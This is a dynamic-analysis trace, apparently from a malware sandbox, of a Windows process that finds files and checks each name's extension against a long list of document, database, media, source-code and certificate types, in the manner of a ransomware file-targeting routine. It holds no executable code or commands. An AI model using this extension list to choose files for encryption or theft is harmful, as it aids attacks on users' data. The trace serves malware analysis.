	[0069.664] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0069.664] lstrlenW (lpString="eula.rtf") returned 8
	[0069.664] lstrlenW (lpString=".1cd") returned 4
	[0069.664] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0069.664] lstrlenW (lpString=".3ds") returned 4
	[0069.664] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0069.664] lstrlenW (lpString=".3fr") returned 4
	[0069.664] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0069.664] lstrlenW (lpString=".3g2") returned 4
	[0069.664] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0069.664] lstrlenW (lpString=".3gp") returned 4
	[0069.664] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0069.664] lstrlenW (lpString=".7z") returned 3
	[0069.664] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0069.664] lstrlenW (lpString=".accda") returned 6
	[0069.664] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0069.664] lstrlenW (lpString=".accdb") returned 6
	[0069.664] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0069.664] lstrlenW (lpString=".accdc") returned 6
	[0069.664] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0069.664] lstrlenW (lpString=".accde") returned 6
	[0069.664] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0069.664] lstrlenW (lpString=".accdt") returned 6
	[0069.664] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0069.664] lstrlenW (lpString=".accdw") returned 6
	[0069.664] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0069.664] lstrlenW (lpString=".adb") returned 4
	[0069.664] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0069.664] lstrlenW (lpString=".adp") returned 4
	[0069.664] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0069.664] lstrlenW (lpString=".ai") returned 3
	[0069.665] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0069.665] lstrlenW (lpString=".ai3") returned 4
	[0069.665] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0069.665] lstrlenW (lpString=".ai4") returned 4
	[0069.665] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0069.665] lstrlenW (lpString=".ai5") returned 4
	[0069.665] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0069.665] lstrlenW (lpString=".ai6") returned 4
	[0069.665] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0069.665] lstrlenW (lpString=".ai7") returned 4
	[0069.665] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0069.665] lstrlenW (lpString=".ai8") returned 4
	[0069.665] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0069.665] lstrlenW (lpString=".anim") returned 5
	[0069.665] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0069.665] lstrlenW (lpString=".arw") returned 4
	[0069.665] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0069.665] lstrlenW (lpString=".as") returned 3
	[0069.665] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0069.665] lstrlenW (lpString=".asa") returned 4
	[0069.665] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0069.665] lstrlenW (lpString=".asc") returned 4
	[0069.665] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0069.665] lstrlenW (lpString=".ascx") returned 5
	[0069.665] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0069.665] lstrlenW (lpString=".asm") returned 4
	[0069.665] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0069.665] lstrlenW (lpString=".asmx") returned 5
	[0069.665] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0069.665] lstrlenW (lpString=".asp") returned 4
	[0069.665] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0069.665] lstrlenW (lpString=".aspx") returned 5
	[0069.665] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0069.665] lstrlenW (lpString=".asr") returned 4
	[0069.665] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0069.666] lstrlenW (lpString=".asx") returned 4
	[0069.666] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0069.666] lstrlenW (lpString=".avi") returned 4
	[0069.666] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0069.666] lstrlenW (lpString=".avs") returned 4
	[0069.666] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0069.666] lstrlenW (lpString=".backup") returned 7
	[0069.666] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0069.666] lstrlenW (lpString=".bak") returned 4
	[0069.666] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0069.666] lstrlenW (lpString=".bay") returned 4
	[0069.666] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0069.666] lstrlenW (lpString=".bd") returned 3
	[0069.666] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0069.666] lstrlenW (lpString=".bin") returned 4
	[0069.666] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0069.666] lstrlenW (lpString=".bmp") returned 4
	[0069.666] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0069.666] lstrlenW (lpString=".bz2") returned 4
	[0069.666] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0069.666] lstrlenW (lpString=".c") returned 2
	[0069.666] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0069.666] lstrlenW (lpString=".cdr") returned 4
	[0069.666] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0069.666] lstrlenW (lpString=".cer") returned 4
	[0069.666] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0069.666] lstrlenW (lpString=".cf") returned 3
	[0069.666] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0069.666] lstrlenW (lpString=".cfc") returned 4
	[0069.666] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0069.666] lstrlenW (lpString=".cfm") returned 4
	[0069.666] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0069.666] lstrlenW (lpString=".cfml") returned 5
	[0069.666] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0069.666] lstrlenW (lpString=".cfu") returned 4
	[0069.667] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0069.667] lstrlenW (lpString=".chm") returned 4
	[0069.667] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0069.667] lstrlenW (lpString=".cin") returned 4
	[0069.667] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0069.667] lstrlenW (lpString=".class") returned 6
	[0069.667] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0069.667] lstrlenW (lpString=".clx") returned 4
	[0069.667] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0069.667] lstrlenW (lpString=".config") returned 7
	[0069.667] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0069.667] lstrlenW (lpString=".cpp") returned 4
	[0069.667] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0069.667] lstrlenW (lpString=".cr2") returned 4
	[0069.667] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0069.667] lstrlenW (lpString=".crt") returned 4
	[0069.667] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0069.667] lstrlenW (lpString=".crw") returned 4
	[0069.667] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0069.667] lstrlenW (lpString=".cs") returned 3
	[0069.667] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0069.667] lstrlenW (lpString=".css") returned 4
	[0069.667] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0069.667] lstrlenW (lpString=".csv") returned 4
	[0069.667] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0069.667] lstrlenW (lpString=".cub") returned 4
	[0069.667] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0069.667] lstrlenW (lpString=".dae") returned 4
	[0069.667] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0069.667] lstrlenW (lpString=".dat") returned 4
	[0069.667] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0069.667] lstrlenW (lpString=".db") returned 3
	[0069.667] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0069.667] lstrlenW (lpString=".dbf") returned 4
	[0069.667] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0069.667] lstrlenW (lpString=".dbx") returned 4
	[0069.668] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0069.668] lstrlenW (lpString=".dc3") returned 4
	[0069.668] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0069.668] lstrlenW (lpString=".dcm") returned 4
	[0069.668] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0069.668] lstrlenW (lpString=".dcr") returned 4
	[0069.668] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0069.668] lstrlenW (lpString=".der") returned 4
	[0069.668] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0069.668] lstrlenW (lpString=".dib") returned 4
	[0069.668] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0069.668] lstrlenW (lpString=".dic") returned 4
	[0069.668] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0069.668] lstrlenW (lpString=".dif") returned 4
	[0069.668] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0069.668] lstrlenW (lpString=".divx") returned 5
	[0069.668] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0069.668] lstrlenW (lpString=".djvu") returned 5
	[0069.668] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0069.668] lstrlenW (lpString=".dng") returned 4
	[0069.668] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0069.668] lstrlenW (lpString=".doc") returned 4
	[0069.668] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0069.668] lstrlenW (lpString=".docm") returned 5
	[0069.668] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0069.668] lstrlenW (lpString=".docx") returned 5
	[0069.668] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0069.668] lstrlenW (lpString=".dot") returned 4
	[0069.668] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0069.668] lstrlenW (lpString=".dotm") returned 5
	[0069.668] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0069.668] lstrlenW (lpString=".dotx") returned 5
	[0069.668] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0069.668] lstrlenW (lpString=".dpx") returned 4
	[0069.669] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0069.669] lstrlenW (lpString=".dqy") returned 4
	[0069.669] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0069.669] lstrlenW (lpString=".dsn") returned 4
	[0069.669] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0069.669] lstrlenW (lpString=".dt") returned 3
	[0069.669] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0069.669] lstrlenW (lpString=".dtd") returned 4
	[0069.669] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0069.669] lstrlenW (lpString=".dwg") returned 4
	[0069.669] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0069.669] lstrlenW (lpString=".dwt") returned 4
	[0069.669] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0069.669] lstrlenW (lpString=".dx") returned 3
	[0069.669] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0069.669] lstrlenW (lpString=".dxf") returned 4
	[0069.669] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0069.669] lstrlenW (lpString=".edml") returned 5
	[0069.669] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0069.669] lstrlenW (lpString=".efd") returned 4
	[0069.669] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0069.669] lstrlenW (lpString=".elf") returned 4
	[0069.669] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0069.669] lstrlenW (lpString=".emf") returned 4
	[0069.669] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0069.669] lstrlenW (lpString=".emz") returned 4
	[0069.669] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0069.669] lstrlenW (lpString=".epf") returned 4
	[0069.669] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0069.669] lstrlenW (lpString=".eps") returned 4
	[0069.669] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0069.669] lstrlenW (lpString=".epsf") returned 5
	[0069.669] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0069.669] lstrlenW (lpString=".epsp") returned 5
	[0069.669] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0069.669] lstrlenW (lpString=".erf") returned 4
	[0069.670] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0069.670] lstrlenW (lpString=".exr") returned 4
	[0069.670] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0069.670] lstrlenW (lpString=".f4v") returned 4
	[0069.670] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0069.670] lstrlenW (lpString=".fido") returned 5
	[0069.670] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0069.670] lstrlenW (lpString=".flm") returned 4
	[0069.670] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0069.670] lstrlenW (lpString=".flv") returned 4
	[0069.670] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0069.670] lstrlenW (lpString=".frm") returned 4
	[0069.670] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0069.670] lstrlenW (lpString=".fxg") returned 4
	[0069.670] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0069.670] lstrlenW (lpString=".geo") returned 4
	[0069.670] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0069.670] lstrlenW (lpString=".gif") returned 4
	[0069.670] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0069.670] lstrlenW (lpString=".grs") returned 4
	[0069.670] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0069.670] lstrlenW (lpString=".gz") returned 3
	[0069.670] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0069.670] lstrlenW (lpString=".h") returned 2
	[0069.670] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0069.670] lstrlenW (lpString=".hdr") returned 4
	[0069.670] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0069.670] lstrlenW (lpString=".hpp") returned 4
	[0069.670] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0069.670] lstrlenW (lpString=".hta") returned 4
	[0069.670] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0069.670] lstrlenW (lpString=".htc") returned 4
	[0069.670] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0069.670] lstrlenW (lpString=".htm") returned 4
	[0069.671] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0069.671] lstrlenW (lpString=".html") returned 5
	[0069.671] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0069.671] lstrlenW (lpString=".icb") returned 4
	[0069.671] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0069.671] lstrlenW (lpString=".ics") returned 4
	[0069.671] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0069.671] lstrlenW (lpString=".iff") returned 4
	[0069.671] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0069.671] lstrlenW (lpString=".inc") returned 4
	[0069.671] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0069.671] lstrlenW (lpString=".indd") returned 5
	[0069.671] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0069.671] lstrlenW (lpString=".ini") returned 4
	[0069.671] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0069.671] lstrlenW (lpString=".iqy") returned 4
	[0069.671] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0069.671] lstrlenW (lpString=".j2c") returned 4
	[0069.671] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0069.671] lstrlenW (lpString=".j2k") returned 4
	[0069.671] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0069.671] lstrlenW (lpString=".java") returned 5
	[0069.671] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0069.671] lstrlenW (lpString=".jp2") returned 4
	[0069.671] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0069.671] lstrlenW (lpString=".jpc") returned 4
	[0069.671] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0069.671] lstrlenW (lpString=".jpe") returned 4
	[0069.671] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0069.671] lstrlenW (lpString=".jpeg") returned 5
	[0069.671] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0069.671] lstrlenW (lpString=".jpf") returned 4
	[0069.671] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0069.671] lstrlenW (lpString=".jpg") returned 4
	[0069.671] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0069.672] lstrlenW (lpString=".jpx") returned 4
	[0069.672] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0069.672] lstrlenW (lpString=".js") returned 3
	[0069.672] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0069.672] lstrlenW (lpString=".jsf") returned 4
	[0069.672] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0069.672] lstrlenW (lpString=".json") returned 5
	[0069.672] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0069.672] lstrlenW (lpString=".jsp") returned 4
	[0069.672] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0069.672] lstrlenW (lpString=".kdc") returned 4
	[0069.672] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0069.672] lstrlenW (lpString=".kmz") returned 4
	[0069.672] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0069.672] lstrlenW (lpString=".kwm") returned 4
	[0069.672] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0069.672] lstrlenW (lpString=".lasso") returned 6
	[0069.672] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0069.672] lstrlenW (lpString=".lbi") returned 4
	[0069.672] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0069.672] lstrlenW (lpString=".lgf") returned 4
	[0069.672] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0069.672] lstrlenW (lpString=".lgp") returned 4
	[0069.672] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0069.672] lstrlenW (lpString=".log") returned 4
	[0069.672] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0069.672] lstrlenW (lpString=".m1v") returned 4
	[0069.672] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0069.672] lstrlenW (lpString=".m4a") returned 4
	[0069.672] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0069.672] lstrlenW (lpString=".m4v") returned 4
	[0069.672] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0069.672] lstrlenW (lpString=".max") returned 4
	[0069.672] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0069.672] lstrlenW (lpString=".md") returned 3
	[0069.673] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0069.673] lstrlenW (lpString=".mda") returned 4
	[0069.673] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0069.673] lstrlenW (lpString=".mdb") returned 4
	[0069.673] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0069.673] lstrlenW (lpString=".mde") returned 4
	[0069.673] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0069.673] lstrlenW (lpString=".mdf") returned 4
	[0069.673] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0069.673] lstrlenW (lpString=".mdw") returned 4
	[0069.673] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0069.673] lstrlenW (lpString=".mef") returned 4
	[0069.673] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0069.673] lstrlenW (lpString=".mft") returned 4
	[0069.673] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0069.673] lstrlenW (lpString=".mfw") returned 4
	[0069.673] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0069.673] lstrlenW (lpString=".mht") returned 4
	[0069.673] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0069.673] lstrlenW (lpString=".mhtml") returned 6
	[0069.673] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0069.673] lstrlenW (lpString=".mka") returned 4
	[0069.673] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0069.673] lstrlenW (lpString=".mkidx") returned 6
	[0069.673] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0069.673] lstrlenW (lpString=".mkv") returned 4
	[0069.673] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0069.673] lstrlenW (lpString=".mos") returned 4
	[0069.673] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0069.673] lstrlenW (lpString=".mov") returned 4
	[0069.673] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0069.673] lstrlenW (lpString=".mp3") returned 4
	[0069.673] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0069.673] lstrlenW (lpString=".mp4") returned 4
	[0069.673] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0069.674] lstrlenW (lpString=".mpeg") returned 5
	[0069.674] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0069.674] lstrlenW (lpString=".mpg") returned 4
	[0069.674] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0069.674] lstrlenW (lpString=".mpv") returned 4
	[0069.674] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0069.674] lstrlenW (lpString=".mrw") returned 4
	[0069.674] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0069.674] lstrlenW (lpString=".msg") returned 4
	[0069.674] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0069.674] lstrlenW (lpString=".mxl") returned 4
	[0069.674] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0069.674] lstrlenW (lpString=".myd") returned 4
	[0069.674] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0069.674] lstrlenW (lpString=".myi") returned 4
	[0069.674] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0069.674] lstrlenW (lpString=".nef") returned 4
	[0069.674] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0069.674] lstrlenW (lpString=".nrw") returned 4
	[0069.674] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0069.674] lstrlenW (lpString=".obj") returned 4
	[0069.674] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0069.674] lstrlenW (lpString=".odb") returned 4
	[0069.674] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0069.674] lstrlenW (lpString=".odc") returned 4
	[0069.674] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0069.674] lstrlenW (lpString=".odm") returned 4
	[0069.674] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0069.675] lstrlenW (lpString=".odp") returned 4
	[0069.675] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0069.675] lstrlenW (lpString=".ods") returned 4
	[0069.675] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0069.675] lstrlenW (lpString=".oft") returned 4
	[0069.675] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0069.675] lstrlenW (lpString=".one") returned 4
	[0069.675] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0069.675] lstrlenW (lpString=".onepkg") returned 7
	[0069.675] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0069.675] lstrlenW (lpString=".onetoc2") returned 8
	[0069.675] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0069.675] lstrlenW (lpString=".opt") returned 4
	[0069.675] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0069.675] lstrlenW (lpString=".oqy") returned 4
	[0069.675] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0069.675] lstrlenW (lpString=".orf") returned 4
	[0069.675] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0069.675] lstrlenW (lpString=".p12") returned 4
	[0069.675] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0069.675] lstrlenW (lpString=".p7b") returned 4
	[0069.675] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0069.675] lstrlenW (lpString=".p7c") returned 4
	[0069.675] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0069.675] lstrlenW (lpString=".pam") returned 4
	[0069.675] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0069.675] lstrlenW (lpString=".pbm") returned 4
	[0069.675] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0069.676] lstrlenW (lpString=".pct") returned 4
	[0069.676] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0069.676] lstrlenW (lpString=".pcx") returned 4
	[0069.676] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0069.676] lstrlenW (lpString=".pdd") returned 4
	[0069.676] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0069.676] lstrlenW (lpString=".pdf") returned 4
	[0069.676] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0069.676] lstrlenW (lpString=".pdp") returned 4
	[0069.676] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0069.676] lstrlenW (lpString=".pef") returned 4
	[0069.676] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0069.676] lstrlenW (lpString=".pem") returned 4
	[0069.676] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0069.676] lstrlenW (lpString=".pff") returned 4
	[0069.676] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0069.676] lstrlenW (lpString=".pfm") returned 4
	[0069.676] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0069.676] lstrlenW (lpString=".pfx") returned 4
	[0069.676] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0069.676] lstrlenW (lpString=".pgm") returned 4
	[0069.676] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0069.676] lstrlenW (lpString=".php") returned 4
	[0069.676] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0069.676] lstrlenW (lpString=".php3") returned 5
	[0069.676] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0069.676] lstrlenW (lpString=".php4") returned 5
	[0069.676] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0069.676] lstrlenW (lpString=".php5") returned 5
	[0069.676] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0069.676] lstrlenW (lpString=".phtml") returned 6
